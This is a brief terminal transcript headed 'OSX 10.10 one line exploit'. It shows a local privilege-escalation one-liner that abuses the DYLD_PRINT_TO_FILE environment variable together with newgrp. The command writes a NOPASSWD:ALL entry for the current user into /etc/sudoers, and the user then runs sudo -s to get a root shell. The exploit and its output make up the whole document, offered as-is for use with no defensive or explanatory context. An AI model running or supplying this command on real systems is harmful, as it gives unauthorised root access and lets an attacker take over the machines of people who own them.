OSX 10.10 one line exploit

bbk@Mac-mini:~/Desktop$ whoami
bbk

bbk@Mac-mini:~/Desktop$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

root@Mac-mini:~/Desktop$ whoami
root